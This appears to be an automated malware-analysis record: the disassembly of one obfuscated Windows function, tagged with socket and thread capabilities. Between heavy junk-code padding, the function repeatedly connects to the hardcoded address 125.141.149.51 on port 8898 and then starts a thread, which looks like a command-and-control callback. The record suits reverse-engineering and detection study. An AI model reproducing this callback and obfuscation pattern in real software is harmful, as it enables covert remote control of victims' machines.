Function at 0x104f140
Capabilities:
Connect socket
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x1b8], eax
push ebx
push esi
push edi
mov edi, ecx
push ebx
call 0x104f165
jmp 0x104f16a
pushal
call 0x104f170
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104f183
jmp 0x104f188
pushal
call 0x104f18e
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104f1a1
jmp 0x104f1a6
pushal
call 0x104f1ac
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104f1bf
jmp 0x104f1c4
pushal
call 0x104f1ca
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov dword [edi + 0x108], 1
push ebx
call 0x104f1e7
jmp 0x104f1ec
pushal
call 0x104f1f2
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
xor ebx, ebx
mov dword [edi + 0x2118], ebx
push ebx
call 0x104f20d
jmp 0x104f212
pushal
call 0x104f218
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov dword [edi + 0x211c], ebx
push ebx
call 0x104f231
jmp 0x104f236
pushal
call 0x104f23c
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov dword [edi + 0x2120], ebx
push ebx
call 0x104f255
jmp 0x104f25a
pushal
call 0x104f260
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104f273
jmp 0x104f278
pushal
call 0x104f27e
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
lea eax, [esp + 0x20]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push ebx
call 0x104f2a0
jmp 0x104f2a5
pushal
call 0x104f2ab
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
cmp eax, ebx
je 0x104f2fd
push ebx
push ebx
push str._SOCKET
call fcn.01066470
push ebx
call 0x104f2ce
jmp 0x104f2d3
pushal
call 0x104f2d9
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.01090090
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x20]
cmp al, 2
jne 0x104f712
shr eax, 8
cmp al, 2
jne 0x104f712
push ebx
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [edi + 0x2390], eax
push ebx
call 0x104f32a
jmp 0x104f32f
pushal
call 0x104f335
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104f348
jmp 0x104f34d
pushal
call 0x104f353
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov ecx, dword [str.125.141.149.51]
mov edx, dword [0x10dc360]
mov eax, dword [0x10dc364]
mov dword [esp + 0x1b0], ecx
mov cx, word [0x10dc368]
mov dword [esp + 0x1b4], edx
mov dl, byte [0x10dc36a]
mov dword [esp + 0x1b8], eax
xor eax, eax
mov word [esp + 0x1bc], cx
mov byte [esp + 0x1be], dl
mov dword [esp + 0x1bf], eax
mov byte [esp + 0x1c3], al
push ebx
call 0x104f3b8
jmp 0x104f3bd
pushal
call 0x104f3c3
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
lea eax, [esp + 0x1b0]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [esp + 0x14], eax
push ebx
call 0x104f3e7
jmp 0x104f3ec
pushal
call 0x104f3f2
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov ecx, 2
mov word [esp + 0x10], cx
push ebx
call 0x104f40f
jmp 0x104f414
pushal
call 0x104f41a
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push 0x22c2
call sub.WS2_32.dll_htons
mov word [esp + 0x12], ax
push ebx
call 0x104f43c
jmp 0x104f441
pushal
call 0x104f447
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov eax, dword [edi + 0x2390]
mov esi, dword [sym.imp.WS2_32.dll_connect]
push 0x10
lea edx, [esp + 0x14]
push edx
push eax
call esi
cmp eax, 0xffffffff
jne 0x104f4e1
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x104f480
mov ecx, dword [0x10faeb4]
push 0x7d0
push ecx
call ebx
push ebx
call 0x104f494
jmp 0x104f499
pushal
call 0x104f49f
pop ebx
add ebx, 0xffffffd6
push 0xd51000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104f4b2
jmp 0x104f4b7
pushal
call 0x104f4bd
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov eax, dword [edi + 0x2390]
push 0x10
lea edx, [esp + 0x14]
push edx
push eax
call esi
cmp eax, 0xffffffff
je 0x104f480
xor ebx, ebx
cmp dword [edi + 0x2118], ebx
jne 0x104f545
push ebx
push ebx
push edi
push 0x104e4b0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x2114], eax
push ebx
call 0x104f505
jmp 0x104f50a
pushal
call 0x104f510
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov dword [edi + 0x2118], 1
push ebx
call 0x104f52d
jmp 0x104f532
pushal
call 0x104f538
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push 0xdc
lea esi, [edi + 0x2124]
push ebx
push esi
call fcn.0109a300
add esp, 0xc
push ebx
call 0x104f560
jmp 0x104f565
pushal
call 0x104f56b
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov byte [esi], 0xcc
push ebx
call 0x104f581
jmp 0x104f586
pushal
call 0x104f58c
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov byte [edi + 0x2198], 0xdd
push ebx
call 0x104f5a6
jmp 0x104f5ab
pushal
call 0x104f5b1
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov ecx, 0xdc
mov word [edi + 0x2126], cx
push ebx
call 0x104f5d0
jmp 0x104f5d5
pushal
call 0x104f5db
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
call fcn.01093ce0
cdq
mov ecx, 0xff
idiv ecx
mov esi, edx
shl esi, 8
call fcn.01093ce0
cdq
mov ecx, 0xff
idiv ecx
add edx, esi
push ebx
call 0x104f60f
jmp 0x104f614
pushal
call 0x104f61a
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov dword [edi + 0x23a8], edx
push ebx
call 0x104f633
jmp 0x104f638
pushal
call 0x104f63e
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
lea esi, [edi + 0x2199]
call fcn.0104d4d0
push ebx
call 0x104f65c
jmp 0x104f661
pushal
call 0x104f667
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104f67a
jmp 0x104f67f
pushal
call 0x104f685
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104f698
jmp 0x104f69d
pushal
call 0x104f6a3
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
add edi, 0x23b8
push edi
call fcn.01050eb0
push ebx
call 0x104f6c2
jmp 0x104f6c7
pushal
call 0x104f6cd
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104f6e0
jmp 0x104f6e5
pushal
call 0x104f6eb
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1b8]
xor ecx, esp
call fcn.01090090
mov esp, ebp
pop ebp
ret
push ebx
push ebx
push str._SOCKET
call fcn.01066470
push ebx
call 0x104f724
jmp 0x104f729
pushal
call 0x104f72f
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
call sub.WS2_32.dll_WSACleanup
push ebx
call 0x104f747
jmp 0x104f74c
pushal
call 0x104f752
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov ecx, dword [esp + 0x1c4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.01090090
mov esp, ebp
pop ebp
ret